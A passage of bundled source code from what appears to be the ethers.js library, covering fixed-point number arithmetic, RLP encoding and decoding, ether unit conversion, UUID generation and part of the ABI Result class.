{ }\n assert(false, message, \"SERVER_ERROR\", {\n request: (this.request || \"unknown request\"), response: this, error,\n info: {\n requestUrl, responseBody,\n responseStatus: `${this.statusCode} ${this.statusMessage}`\n }\n });\n }\n}\nfunction getTime() { return (new Date()).getTime(); }\nfunction unpercent(value) {\n return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi, (all, code) => {\n return String.fromCharCode(parseInt(code, 16));\n }));\n}\nfunction wait(delay) {\n return new Promise((resolve) => setTimeout(resolve, delay));\n}\n//# sourceMappingURL=fetch.js.map","/**\n * The **FixedNumber** class permits using values with decimal places,\n * using fixed-pont math.\n *\n * Fixed-point math is still based on integers under-the-hood, but uses an\n * internal offset to store fractional components below, and each operation\n * corrects for this after each operation.\n *\n * @_section: api/utils/fixed-point-math:Fixed-Point Maths [about-fixed-point-math]\n */\nimport { getBytes } from \"./data.js\";\nimport { assert, assertArgument, assertPrivate } from \"./errors.js\";\nimport { getBigInt, getNumber, fromTwos, mask, toBigInt } from \"./maths.js\";\nimport { defineProperties } from \"./properties.js\";\nconst BN_N1 = BigInt(-1);\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\nconst BN_5 = BigInt(5);\nconst _guard = {};\n// Constant to pull zeros from for multipliers\nlet Zeros = \"0000\";\nwhile (Zeros.length < 80) {\n Zeros += Zeros;\n}\n// Returns a string \"1\" followed by decimal \"0\"s\nfunction getTens(decimals) {\n let result = Zeros;\n while (result.length < decimals) {\n result += result;\n }\n return BigInt(\"1\" + result.substring(0, decimals));\n}\nfunction checkValue(val, format, safeOp) {\n const width = BigInt(format.width);\n if (format.signed) {\n const limit = (BN_1 << (width - BN_1));\n assert(safeOp == null || (val >= -limit && val < limit), \"overflow\", \"NUMERIC_FAULT\", {\n operation: safeOp, fault: \"overflow\", value: val\n });\n if (val > BN_0) {\n val = fromTwos(mask(val, width), width);\n }\n else {\n val = -fromTwos(mask(-val, width), width);\n }\n }\n else {\n const limit = (BN_1 << width);\n assert(safeOp == null || (val >= 0 && val < limit), \"overflow\", \"NUMERIC_FAULT\", {\n operation: safeOp, fault: \"overflow\", value: val\n });\n val = (((val % limit) + limit) % limit) & (limit - BN_1);\n }\n return val;\n}\nfunction getFormat(value) {\n if (typeof (value) === \"number\") {\n value = `fixed128x${value}`;\n }\n let signed = true;\n let width = 128;\n let decimals = 18;\n if (typeof (value) === \"string\") {\n // Parse the format string\n if (value === \"fixed\") {\n // defaults...\n }\n else if (value === \"ufixed\") {\n signed = false;\n }\n else {\n const match = value.match(/^(u?)fixed([0-9]+)x([0-9]+)$/);\n assertArgument(match, \"invalid fixed format\", \"format\", value);\n signed = (match[1] !== \"u\");\n width = parseInt(match[2]);\n decimals = parseInt(match[3]);\n }\n }\n else if (value) {\n // Extract the values from the object\n const v = value;\n const check = (key, type, defaultValue) => {\n if (v[key] == null) {\n return defaultValue;\n }\n assertArgument(typeof (v[key]) === type, \"invalid fixed format (\" + key + \" not \" + type + \")\", \"format.\" + key, v[key]);\n return v[key];\n };\n signed = check(\"signed\", \"boolean\", signed);\n width = check(\"width\", \"number\", width);\n decimals = check(\"decimals\", \"number\", decimals);\n }\n assertArgument((width % 8) === 0, \"invalid FixedNumber width (not byte aligned)\", \"format.width\", width);\n assertArgument(decimals <= 80, \"invalid FixedNumber decimals (too large)\", \"format.decimals\", decimals);\n const name = (signed ? \"\" : \"u\") + \"fixed\" + String(width) + \"x\" + String(decimals);\n return { signed, width, decimals, name };\n}\nfunction toString(val, decimals) {\n let negative = \"\";\n if (val < BN_0) {\n negative = \"-\";\n val *= BN_N1;\n }\n let str = val.toString();\n // No decimal point for whole values\n if (decimals === 0) {\n return (negative + str);\n }\n // Pad out to the whole component (including a whole digit)\n while (str.length <= decimals) {\n str = Zeros + str;\n }\n // Insert the decimal point\n const index = str.length - decimals;\n str = str.substring(0, index) + \".\" + str.substring(index);\n // Trim the whole component (leaving at least one 0)\n while (str[0] === \"0\" && str[1] !== \".\") {\n str = str.substring(1);\n }\n // Trim the decimal component (leaving at least one 0)\n while (str[str.length - 1] === \"0\" && str[str.length - 2] !== \".\") {\n str = str.substring(0, str.length - 1);\n }\n return (negative + str);\n}\n/**\n * A FixedNumber represents a value over its [[FixedFormat]]\n * arithmetic field.\n *\n * A FixedNumber can be used to perform math, losslessly, on\n * values which have decmial places.\n *\n * A FixedNumber has a fixed bit-width to store values in, and stores all\n * values internally by multiplying the value by 10 raised to the power of\n * %%decimals%%.\n *\n * If operations are performed that cause a value to grow too high (close to\n * positive infinity) or too low (close to negative infinity), the value\n * is said to //overflow//.\n *\n * For example, an 8-bit signed value, with 0 decimals may only be within\n * the range ``-128`` to ``127``; so ``-128 - 1`` will overflow and become\n * ``127``. Likewise, ``127 + 1`` will overflow and become ``-127``.\n *\n * Many operation have a normal and //unsafe// variant. The normal variant\n * will throw a [[NumericFaultError]] on any overflow, while the //unsafe//\n * variant will silently allow overflow, corrupting its value value.\n *\n * If operations are performed that cause a value to become too small\n * (close to zero), the value loses precison and is said to //underflow//.\n *\n * For example, a value with 1 decimal place may store a number as small\n * as ``0.1``, but the value of ``0.1 / 2`` is ``0.05``, which cannot fit\n * into 1 decimal place, so underflow occurs which means precision is lost\n * and the value becomes ``0``.\n *\n * Some operations have a normal and //signalling// variant. The normal\n * variant will silently ignore underflow, while the //signalling// variant\n * will thow a [[NumericFaultError]] on underflow.\n */\nexport class FixedNumber {\n /**\n * The specific fixed-point arithmetic field for this value.\n */\n format;\n #format;\n // The actual value (accounting for decimals)\n #val;\n // A base-10 value to multiple values by to maintain the magnitude\n #tens;\n /**\n * This is a property so console.log shows a human-meaningful value.\n *\n * @private\n */\n _value;\n // Use this when changing this file to get some typing info,\n // but then switch to any to mask the internal type\n //constructor(guard: any, value: bigint, format: _FixedFormat) {\n /**\n * @private\n */\n constructor(guard, value, format) {\n assertPrivate(guard, _guard, \"FixedNumber\");\n this.#val = value;\n this.#format = format;\n const _value = toString(value, format.decimals);\n defineProperties(this, { format: format.name, _value });\n this.#tens = getTens(format.decimals);\n }\n /**\n * If true, negative values are permitted, otherwise only\n * positive values and zero are allowed.\n */\n get signed() { return this.#format.signed; }\n /**\n * The number of bits available to store the value.\n */\n get width() { return this.#format.width; }\n /**\n * The number of decimal places in the fixed-point arithment field.\n */\n get decimals() { return this.#format.decimals; }\n /**\n * The value as an integer, based on the smallest unit the\n * [[decimals]] allow.\n */\n get value() { return this.#val; }\n #checkFormat(other) {\n assertArgument(this.format === other.format, \"incompatible format; use fixedNumber.toFormat\", \"other\", other);\n }\n #checkValue(val, safeOp) {\n /*\n const width = BigInt(this.width);\n if (this.signed) {\n const limit = (BN_1 << (width - BN_1));\n assert(safeOp == null || (val >= -limit && val < limit), \"overflow\", \"NUMERIC_FAULT\", {\n operation: safeOp, fault: \"overflow\", value: val\n });\n \n if (val > BN_0) {\n val = fromTwos(mask(val, width), width);\n } else {\n val = -fromTwos(mask(-val, width), width);\n }\n \n } else {\n const masked = mask(val, width);\n assert(safeOp == null || (val >= 0 && val === masked), \"overflow\", \"NUMERIC_FAULT\", {\n operation: safeOp, fault: \"overflow\", value: val\n });\n val = masked;\n }\n */\n val = checkValue(val, this.#format, safeOp);\n return new FixedNumber(_guard, val, this.#format);\n }\n #add(o, safeOp) {\n this.#checkFormat(o);\n return this.#checkValue(this.#val + o.#val, safeOp);\n }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% added\n * to %%other%%, ignoring overflow.\n */\n addUnsafe(other) { return this.#add(other); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% added\n * to %%other%%. A [[NumericFaultError]] is thrown if overflow\n * occurs.\n */\n add(other) { return this.#add(other, \"add\"); }\n #sub(o, safeOp) {\n this.#checkFormat(o);\n return this.#checkValue(this.#val - o.#val, safeOp);\n }\n /**\n * Returns a new [[FixedNumber]] with the result of %%other%% subtracted\n * from %%this%%, ignoring overflow.\n */\n subUnsafe(other) { return this.#sub(other); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%other%% subtracted\n * from %%this%%. A [[NumericFaultError]] is thrown if overflow\n * occurs.\n */\n sub(other) { return this.#sub(other, \"sub\"); }\n #mul(o, safeOp) {\n this.#checkFormat(o);\n return this.#checkValue((this.#val * o.#val) / this.#tens, safeOp);\n }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% multiplied\n * by %%other%%, ignoring overflow and underflow (precision loss).\n */\n mulUnsafe(other) { return this.#mul(other); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% multiplied\n * by %%other%%. A [[NumericFaultError]] is thrown if overflow\n * occurs.\n */\n mul(other) { return this.#mul(other, \"mul\"); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% multiplied\n * by %%other%%. A [[NumericFaultError]] is thrown if overflow\n * occurs or if underflow (precision loss) occurs.\n */\n mulSignal(other) {\n this.#checkFormat(other);\n const value = this.#val * other.#val;\n assert((value % this.#tens) === BN_0, \"precision lost during signalling mul\", \"NUMERIC_FAULT\", {\n operation: \"mulSignal\", fault: \"underflow\", value: this\n });\n return this.#checkValue(value / this.#tens, \"mulSignal\");\n }\n #div(o, safeOp) {\n assert(o.#val !== BN_0, \"division by zero\", \"NUMERIC_FAULT\", {\n operation: \"div\", fault: \"divide-by-zero\", value: this\n });\n this.#checkFormat(o);\n return this.#checkValue((this.#val * this.#tens) / o.#val, safeOp);\n }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% divided\n * by %%other%%, ignoring underflow (precision loss). A\n * [[NumericFaultError]] is thrown if overflow occurs.\n */\n divUnsafe(other) { return this.#div(other); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% divided\n * by %%other%%, ignoring underflow (precision loss). A\n * [[NumericFaultError]] is thrown if overflow occurs.\n */\n div(other) { return this.#div(other, \"div\"); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% divided\n * by %%other%%. A [[NumericFaultError]] is thrown if underflow\n * (precision loss) occurs.\n */\n divSignal(other) {\n assert(other.#val !== BN_0, \"division by zero\", \"NUMERIC_FAULT\", {\n operation: \"div\", fault: \"divide-by-zero\", value: this\n });\n this.#checkFormat(other);\n const value = (this.#val * this.#tens);\n assert((value % other.#val) === BN_0, \"precision lost during signalling div\", \"NUMERIC_FAULT\", {\n operation: \"divSignal\", fault: \"underflow\", value: this\n });\n return this.#checkValue(value / other.#val, \"divSignal\");\n }\n /**\n * Returns a comparison result between %%this%% and %%other%%.\n *\n * This is suitable for use in sorting, where ``-1`` implies %%this%%\n * is smaller, ``1`` implies %%this%% is larger and ``0`` implies\n * both are equal.\n */\n cmp(other) {\n let a = this.value, b = other.value;\n // Coerce a and b to the same magnitude\n const delta = this.decimals - other.decimals;\n if (delta > 0) {\n b *= getTens(delta);\n }\n else if (delta < 0) {\n a *= getTens(-delta);\n }\n // Comnpare\n if (a < b) {\n return -1;\n }\n if (a > b) {\n return 1;\n }\n return 0;\n }\n /**\n * Returns true if %%other%% is equal to %%this%%.\n */\n eq(other) { return this.cmp(other) === 0; }\n /**\n * Returns true if %%other%% is less than to %%this%%.\n */\n lt(other) { return this.cmp(other) < 0; }\n /**\n * Returns true if %%other%% is less than or equal to %%this%%.\n */\n lte(other) { return this.cmp(other) <= 0; }\n /**\n * Returns true if %%other%% is greater than to %%this%%.\n */\n gt(other) { return this.cmp(other) > 0; }\n /**\n * Returns true if %%other%% is greater than or equal to %%this%%.\n */\n gte(other) { return this.cmp(other) >= 0; }\n /**\n * Returns a new [[FixedNumber]] which is the largest **integer**\n * that is less than or equal to %%this%%.\n *\n * The decimal component of the result will always be ``0``.\n */\n floor() {\n let val = this.#val;\n if (this.#val < BN_0) {\n val -= this.#tens - BN_1;\n }\n val = (this.#val / this.#tens) * this.#tens;\n return this.#checkValue(val, \"floor\");\n }\n /**\n * Returns a new [[FixedNumber]] which is the smallest **integer**\n * that is greater than or equal to %%this%%.\n *\n * The decimal component of the result will always be ``0``.\n */\n ceiling() {\n let val = this.#val;\n if (this.#val > BN_0) {\n val += this.#tens - BN_1;\n }\n val = (this.#val / this.#tens) * this.#tens;\n return this.#checkValue(val, \"ceiling\");\n }\n /**\n * Returns a new [[FixedNumber]] with the decimal component\n * rounded up on ties at %%decimals%% places.\n */\n round(decimals) {\n if (decimals == null) {\n decimals = 0;\n }\n // Not enough precision to not already be rounded\n if (decimals >= this.decimals) {\n return this;\n }\n const delta = this.decimals - decimals;\n const bump = BN_5 * getTens(delta - 1);\n let value = this.value + bump;\n const tens = getTens(delta);\n value = (value / tens) * tens;\n checkValue(value, this.#format, \"round\");\n return new FixedNumber(_guard, value, this.#format);\n }\n /**\n * Returns true if %%this%% is equal to ``0``.\n */\n isZero() { return (this.#val === BN_0); }\n /**\n * Returns true if %%this%% is less than ``0``.\n */\n isNegative() { return (this.#val < BN_0); }\n /**\n * Returns the string representation of %%this%%.\n */\n toString() { return this._value; }\n /**\n * Returns a float approximation.\n *\n * Due to IEEE 754 precission (or lack thereof), this function\n * can only return an approximation and most values will contain\n * rounding errors.\n */\n toUnsafeFloat() { return parseFloat(this.toString()); }\n /**\n * Return a new [[FixedNumber]] with the same value but has had\n * its field set to %%format%%.\n *\n * This will throw if the value cannot fit into %%format%%.\n */\n toFormat(format) {\n return FixedNumber.fromString(this.toString(), format);\n }\n /**\n * Creates a new [[FixedNumber]] for %%value%% divided by\n * %%decimal%% places with %%format%%.\n *\n * This will throw a [[NumericFaultError]] if %%value%% (once adjusted\n * for %%decimals%%) cannot fit in %%format%%, either due to overflow\n * or underflow (precision loss).\n */\n static fromValue(_value, _decimals, _format) {\n const decimals = (_decimals == null) ? 0 : getNumber(_decimals);\n const format = getFormat(_format);\n let value = getBigInt(_value, \"value\");\n const delta = decimals - format.decimals;\n if (delta > 0) {\n const tens = getTens(delta);\n assert((value % tens) === BN_0, \"value loses precision for format\", \"NUMERIC_FAULT\", {\n operation: \"fromValue\", fault: \"underflow\", value: _value\n });\n value /= tens;\n }\n else if (delta < 0) {\n value *= getTens(-delta);\n }\n checkValue(value, format, \"fromValue\");\n return new FixedNumber(_guard, value, format);\n }\n /**\n * Creates a new [[FixedNumber]] for %%value%% with %%format%%.\n *\n * This will throw a [[NumericFaultError]] if %%value%% cannot fit\n * in %%format%%, either due to overflow or underflow (precision loss).\n */\n static fromString(_value, _format) {\n const match = _value.match(/^(-?)([0-9]*)\\.?([0-9]*)$/);\n assertArgument(match && (match[2].length + match[3].length) > 0, \"invalid FixedNumber string value\", \"value\", _value);\n const format = getFormat(_format);\n let whole = (match[2] || \"0\"), decimal = (match[3] || \"\");\n // Pad out the decimals\n while (decimal.length < format.decimals) {\n decimal += Zeros;\n }\n // Check precision is safe\n assert(decimal.substring(format.decimals).match(/^0*$/), \"too many decimals for format\", \"NUMERIC_FAULT\", {\n operation: \"fromString\", fault: \"underflow\", value: _value\n });\n // Remove extra padding\n decimal = decimal.substring(0, format.decimals);\n const value = BigInt(match[1] + whole + decimal);\n checkValue(value, format, \"fromString\");\n return new FixedNumber(_guard, value, format);\n }\n /**\n * Creates a new [[FixedNumber]] with the big-endian representation\n * %%value%% with %%format%%.\n *\n * This will throw a [[NumericFaultError]] if %%value%% cannot fit\n * in %%format%% due to overflow.\n */\n static fromBytes(_value, _format) {\n let value = toBigInt(getBytes(_value, \"value\"));\n const format = getFormat(_format);\n if (format.signed) {\n value = fromTwos(value, format.width);\n }\n checkValue(value, format, \"fromBytes\");\n return new FixedNumber(_guard, value, format);\n }\n}\n//const f1 = FixedNumber.fromString(\"12.56\", \"fixed16x2\");\n//const f2 = FixedNumber.fromString(\"0.3\", \"fixed16x2\");\n//console.log(f1.divSignal(f2));\n//const BUMP = FixedNumber.from(\"0.5\");\n//# sourceMappingURL=fixednumber.js.map","//See: https://github.com/ethereum/wiki/wiki/RLP\nimport { hexlify } from \"./data.js\";\nimport { assert, assertArgument } from \"./errors.js\";\nimport { getBytes } from \"./data.js\";\nfunction hexlifyByte(value) {\n let result = value.toString(16);\n while (result.length < 2) {\n result = \"0\" + result;\n }\n return \"0x\" + result;\n}\nfunction unarrayifyInteger(data, offset, length) {\n let result = 0;\n for (let i = 0; i < length; i++) {\n result = (result * 256) + data[offset + i];\n }\n return result;\n}\nfunction _decodeChildren(data, offset, childOffset, length) {\n const result = [];\n while (childOffset < offset + 1 + length) {\n const decoded = _decode(data, childOffset);\n result.push(decoded.result);\n childOffset += decoded.consumed;\n assert(childOffset <= offset + 1 + length, \"child data too short\", \"BUFFER_OVERRUN\", {\n buffer: data, length, offset\n });\n }\n return { consumed: (1 + length), result: result };\n}\n// returns { consumed: number, result: Object }\nfunction _decode(data, offset) {\n assert(data.length !== 0, \"data too short\", \"BUFFER_OVERRUN\", {\n buffer: data, length: 0, offset: 1\n });\n const checkOffset = (offset) => {\n assert(offset <= data.length, \"data short segment too short\", \"BUFFER_OVERRUN\", {\n buffer: data, length: data.length, offset\n });\n };\n // Array with extra length prefix\n if (data[offset] >= 0xf8) {\n const lengthLength = data[offset] - 0xf7;\n checkOffset(offset + 1 + lengthLength);\n const length = unarrayifyInteger(data, offset + 1, lengthLength);\n checkOffset(offset + 1 + lengthLength + length);\n return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length);\n }\n else if (data[offset] >= 0xc0) {\n const length = data[offset] - 0xc0;\n checkOffset(offset + 1 + length);\n return _decodeChildren(data, offset, offset + 1, length);\n }\n else if (data[offset] >= 0xb8) {\n const lengthLength = data[offset] - 0xb7;\n checkOffset(offset + 1 + lengthLength);\n const length = unarrayifyInteger(data, offset + 1, lengthLength);\n checkOffset(offset + 1 + lengthLength + length);\n const result = hexlify(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length));\n return { consumed: (1 + lengthLength + length), result: result };\n }\n else if (data[offset] >= 0x80) {\n const length = data[offset] - 0x80;\n checkOffset(offset + 1 + length);\n const result = hexlify(data.slice(offset + 1, offset + 1 + length));\n return { consumed: (1 + length), result: result };\n }\n return { consumed: 1, result: hexlifyByte(data[offset]) };\n}\n/**\n * Decodes %%data%% into the structured data it represents.\n */\nexport function decodeRlp(_data) {\n const data = getBytes(_data, \"data\");\n const decoded = _decode(data, 0);\n assertArgument(decoded.consumed === data.length, \"unexpected junk after rlp payload\", \"data\", _data);\n return decoded.result;\n}\n//# sourceMappingURL=rlp-decode.js.map","//See: https://github.com/ethereum/wiki/wiki/RLP\nimport { getBytes } from \"./data.js\";\nfunction arrayifyInteger(value) {\n const result = [];\n while (value) {\n result.unshift(value & 0xff);\n value >>= 8;\n }\n return result;\n}\nfunction _encode(object) {\n if (Array.isArray(object)) {\n let payload = [];\n object.forEach(function (child) {\n payload = payload.concat(_encode(child));\n });\n if (payload.length <= 55) {\n payload.unshift(0xc0 + payload.length);\n return payload;\n }\n const length = arrayifyInteger(payload.length);\n length.unshift(0xf7 + length.length);\n return length.concat(payload);\n }\n const data = Array.prototype.slice.call(getBytes(object, \"object\"));\n if (data.length === 1 && data[0] <= 0x7f) {\n return data;\n }\n else if (data.length <= 55) {\n data.unshift(0x80 + data.length);\n return data;\n }\n const length = arrayifyInteger(data.length);\n length.unshift(0xb7 + length.length);\n return length.concat(data);\n}\nconst nibbles = \"0123456789abcdef\";\n/**\n * Encodes %%object%% as an RLP-encoded [[DataHexString]].\n */\nexport function encodeRlp(object) {\n let result = \"0x\";\n for (const v of _encode(object)) {\n result += nibbles[v >> 4];\n result += nibbles[v & 0xf];\n }\n return result;\n}\n//# sourceMappingURL=rlp-encode.js.map","/**\n * Most interactions with Ethereum requires integer values, which use\n * the smallest magnitude unit.\n *\n * For example, imagine dealing with dollars and cents. Since dollars\n * are divisible, non-integer values are possible, such as ``$10.77``.\n * By using the smallest indivisible unit (i.e. cents), the value can\n * be kept as the integer ``1077``.\n *\n * When receiving decimal input from the user (as a decimal string),\n * the value should be converted to an integer and when showing a user\n * a value, the integer value should be converted to a decimal string.\n *\n * This creates a clear distinction, between values to be used by code\n * (integers) and values used for display logic to users (decimals).\n *\n * The native unit in Ethereum, //ether// is divisible to 18 decimal places,\n * where each individual unit is called a //wei//.\n *\n * @_subsection api/utils:Unit Conversion [about-units]\n */\nimport { assertArgument } from \"./errors.js\";\nimport { FixedNumber } from \"./fixednumber.js\";\nimport { getNumber } from \"./maths.js\";\nconst names = [\n \"wei\",\n \"kwei\",\n \"mwei\",\n \"gwei\",\n \"szabo\",\n \"finney\",\n \"ether\",\n];\n/**\n * Converts %%value%% into a //decimal string//, assuming %%unit%% decimal\n * places. The %%unit%% may be the number of decimal places or the name of\n * a unit (e.g. ``\"gwei\"`` for 9 decimal places).\n *\n */\nexport function formatUnits(value, unit) {\n let decimals = 18;\n if (typeof (unit) === \"string\") {\n const index = names.indexOf(unit);\n assertArgument(index >= 0, \"invalid unit\", \"unit\", unit);\n decimals = 3 * index;\n }\n else if (unit != null) {\n decimals = getNumber(unit, \"unit\");\n }\n return FixedNumber.fromValue(value, decimals, { decimals, width: 512 }).toString();\n}\n/**\n * Converts the //decimal string// %%value%% to a BigInt, assuming\n * %%unit%% decimal places. The %%unit%% may the number of decimal places\n * or the name of a unit (e.g. ``\"gwei\"`` for 9 decimal places).\n */\nexport function parseUnits(value, unit) {\n assertArgument(typeof (value) === \"string\", \"value must be a string\", \"value\", value);\n let decimals = 18;\n if (typeof (unit) === \"string\") {\n const index = names.indexOf(unit);\n assertArgument(index >= 0, \"invalid unit\", \"unit\", unit);\n decimals = 3 * index;\n }\n else if (unit != null) {\n decimals = getNumber(unit, \"unit\");\n }\n return FixedNumber.fromString(value, { decimals, width: 512 }).value;\n}\n/**\n * Converts %%value%% into a //decimal string// using 18 decimal places.\n */\nexport function formatEther(wei) {\n return formatUnits(wei, 18);\n}\n/**\n * Converts the //decimal string// %%ether%% to a BigInt, using 18\n * decimal places.\n */\nexport function parseEther(ether) {\n return parseUnits(ether, 18);\n}\n//# sourceMappingURL=units.js.map","/**\n * Explain UUID and link to RFC here.\n *\n * @_subsection: api/utils:UUID [about-uuid]\n */\nimport { getBytes, hexlify } from \"./data.js\";\n/**\n * Returns the version 4 [[link-uuid]] for the %%randomBytes%%.\n *\n * @see: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4)\n */\nexport function uuidV4(randomBytes) {\n const bytes = getBytes(randomBytes, \"randomBytes\");\n // Section: 4.1.3:\n // - time_hi_and_version[12:16] = 0b0100\n bytes[6] = (bytes[6] & 0x0f) | 0x40;\n // Section 4.4\n // - clock_seq_hi_and_reserved[6] = 0b0\n // - clock_seq_hi_and_reserved[7] = 0b1\n bytes[8] = (bytes[8] & 0x3f) | 0x80;\n const value = hexlify(bytes);\n return [\n value.substring(2, 10),\n value.substring(10, 14),\n value.substring(14, 18),\n value.substring(18, 22),\n value.substring(22, 34),\n ].join(\"-\");\n}\n//# sourceMappingURL=uuid.js.map","import { defineProperties, concat, getBytesCopy, getNumber, hexlify, toBeArray, toBigInt, toNumber, assert, assertArgument\n/*, isError*/\n } from \"../../utils/index.js\";\n/**\n * @_ignore:\n */\nexport const WordSize = 32;\nconst Padding = new Uint8Array(WordSize);\n// Properties used to immediate pass through to the underlying object\n// - `then` is used to detect if an object is a Promise for await\nconst passProperties = [\"then\"];\nconst _guard = {};\nconst resultNames = new WeakMap();\nfunction getNames(result) {\n return resultNames.get(result);\n}\nfunction setNames(result, names) {\n resultNames.set(result, names);\n}\nfunction throwError(name, error) {\n const wrapped = new Error(`deferred error during ABI decoding triggered accessing ${name}`);\n wrapped.error = error;\n throw wrapped;\n}\nfunction toObject(names, items, deep) {\n if (names.indexOf(null) >= 0) {\n return items.map((item, index) => {\n if (item instanceof Result) {\n return toObject(getNames(item), item, deep);\n }\n return item;\n });\n }\n return names.reduce((accum, name, index) => {\n let item = items.getValue(name);\n if (!(name in accum)) {\n if (deep && item instanceof Result) {\n item = toObject(getNames(item), item, deep);\n }\n accum[name] = item;\n }\n return accum;\n }, {});\n}\n/**\n * A [[Result]] is a sub-class of Array, which allows accessing any\n * of its values either positionally by its index or, if keys are\n * provided by its name.\n *\n * @_docloc: api/abi\n */\nexport class Result extends Array {\n // No longer used; but cannot be removed as it will remove the\n // #private field from the .d.ts which may break backwards\n // compatibility\n #names;\n /**\n * @private\n */\n constructor(...args) {\n // To properly sub-class Array so the other built-in\n // functions work, the constructor has to behave fairly\n // well. So, in the event we are created via fromItems()\n // we build the read-only Result object we want, but on\n // any other input, we use the default constructor\n // constructor(guard: any, items: Array, keys?: Array);\n const guard = args[0];\n let items = args[1];\n let names = (args[2] || []).slice();\n let wrap = true;\n if (guard !== _guard) {\n items = args;\n names = [];\n wrap = false;\n }\n // Can't just pass in ...items since an array of length 1\n // is a special case in the super.\n super(items.length);\n items.forEach((item, index) => { this[index] = item; });\n // Find all unique keys\n const nameCounts = names.reduce((accum, name) => {\n if (typeof (name) === \"string\") {\n accum.set(name, (accum.get(name) || 0) + 1);\n }\n return accum;\n }, (new Map()));\n // Remove any key thats not unique\n setNames(this, Object.freeze(items.map((item, index) => {\n const name = names[index];\n if (name != null && nameCounts.get(name) === 1) {\n return name;\n }\n return null;\n })));\n // Dummy operations to prevent TypeScript from complaining\n this.#names = [];\n if (this.#names == null) {\n void (this.#names);\n }\n if (!wrap) {\n return;\n }\n // A wrapped Result is immutable\n Object.freeze(this);\n // Proxy indices and names so we can trap deferred errors\n const proxy = new Proxy(this, {\n get: (target, prop, receiver) => {\n if (typeof (prop) === \"string\") {\n // Index accessor\n if (prop.match(/^[0-9]+$/)) {\n const index = getNumber(prop, \"%index\");\n if (index < 0 || index >= this.length) {\n throw new RangeError(\"out of result range\");\n }\n const item = target[index];\n if (item instanceof Error) {\n throwError(`index ${index}`, item);\n }\n return item;\n }\n // Pass important checks (like `then` for Promise) through\n if (passProperties.indexOf(prop) >= 0) {\n return Reflect.get(target, prop, receiver);\n }\n const value = target[prop];\n if (value instanceof Function) {\n // Make sure functions work with private variables\n // See: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy#no_private_property_forwarding\n return function (...args) {\n return value.apply((this === receiver) ? target : this, args);\n };\n }\n else if (!(prop in target)) {\n // Possible name accessor\n return target.getValue.apply((this === receiver) ? target : this, [prop]);\n }\n }\n return Reflect.get(target, prop, receiver);\n }\n });\n setNames(proxy, getNames(this));\n return proxy;\n }\n /**\n * Returns the Result as a normal Array. If %%deep%%, any children\n * which are Result objects are also converted to a normal Array.\n *\n * This will throw if there are any outstanding deferred\n * errors.\n */\n toArray(deep) {\n const result = [];\n this.forEach((item, index) => {\n if (item instanceof Error) {\n throwError(`index ${index}`, item);\n }\n if (deep && item instanceof Result) {\n item = item.toArray(deep);\n }\n result.push(item);\n });\n return result;\n }\n /**\n * Returns the Result as an Object with each name-value pair. If\n * %%deep%%, any children which are Result objects are also\n * converted to an Object.\n *\n * This will throw if any value is unnamed, or if there are\n * any outstanding deferred errors.\n */\n toObject(deep) {\n const names = getNames(this);\n return names.reduce((accum, name, index) => {\n assert(name != null, `value at index ${index} unnamed`, \"UNSUPPORTED_OPERATION\", {\n operation: \"toObject()\"\n });\n return toObject(names, this, deep);\n }, {});\n }\n /**\n * @_ignore\n */\n slice(start, end) {\n if (start == null) {\n start = 0;\n }\n if (start < 0) {\n start += this.length;\n if (start < 0) {\n start = 0;\n }\n }\n if (end == null) {\n end = this.length;\n }\n if (end < 0) {\n end += this.length;\n if (end < 0) {\n end = 0;\n }\n }\n if (end > this.length) {\n end = this.length;\n }\n const _names = getNames(this);\n const result = [], names = [];\n for (let i = start; i < end; i++) {\n result.push(this[i]);\n names.push(_names[i]);\n }\n return new Result(_guard, result, names);\n }\n /**\n * @_ignore\n */\n filter(callback, thisArg) {\n const _names = getNames(this);\n const result = [], names = [];\n for (let i = 0; i < this.length; i++) {\n const item = this[i];\n if (item instanceof Error) {\n throwError(`index ${i}`, item);\n }\n if (callback.call(thisArg, item, i, this)) {\n result.push(item);\n names.push(_names[i]);\n }\n }\n return new Result(_guard, result, names);\n }\n /**\n * @_ignore\n */\n map(callback, thisArg) {\n const result = [];\n for (let i = 0; i < this.length; i++) {\n const item = this[i];\n if (item instanceof Error) {\n throwError(`index ${i}`, item);\n }\n result.push(callback.call(thisArg, item, i, this));\n }\n return result;\n }\n /**\n * Returns the value for %%name%%.\n *\n * Since it is possible to have a key whose name conflicts with\n * a method on a [[Result]] or its superclass Array, or any\n * JavaScript keyword, this ensures all named values are still\n * accessible by name.\n */\n getValue(name) {\n const index = getNames(this).indexOf(name);\n if (index === -1) {\n return undefined;\n }\n const value = this[index];\n if (value instanceof Error) {\n throwError(`property ${JSON.stringify(name)}`, value.error);\n }\n return value;\n }\n /**\n * Creates a new [[Result]] for %%items%% with each entry\n * also accessible by its corresponding name in %%keys%%.\n */\n static fromItems(items, keys) {\n return new Result(_guard, items, keys);\n }\n}\n/**\n * Returns all errors found in a [[Result]].\n *\n * Since certain errors encountered when creating a [[Result]] do\n * not impact the ability to continue parsing data, they are\n * deferred until they are actually accessed. Hence a faulty string\n * in an Event that is never used does not impact the program flow.\n *\n * However, sometimes it may be useful to access, identify or\n * validate correctness of a [[Result]].\n *\n * @_docloc api/abi\n */\nexport function checkResultErrors(result) {\n // Find the first error (if any)\n const errors = [];\n const checkErrors = function (path, object) {\n if (!Array.isArray(object)) {\n return;\n }\n for (let key in object) {\n const childPath = path.slice();\n childPath.push(key);\n try {\n checkErrors(childPath, object[key]);\n }\n catch (error) {\n errors.push({ path: childPath, error: error });\n }\n }\n };\n checkErrors([], result);\n return errors;\n}\nfunction getValue(value) {\n let bytes = toBeArray(value);\n assert(bytes.length <= WordSize, \"value out-of-bounds\", \"BUFFER_OVERRUN\", { buffer: bytes, length: WordSize, offset: bytes.length });\n if (bytes.length !== 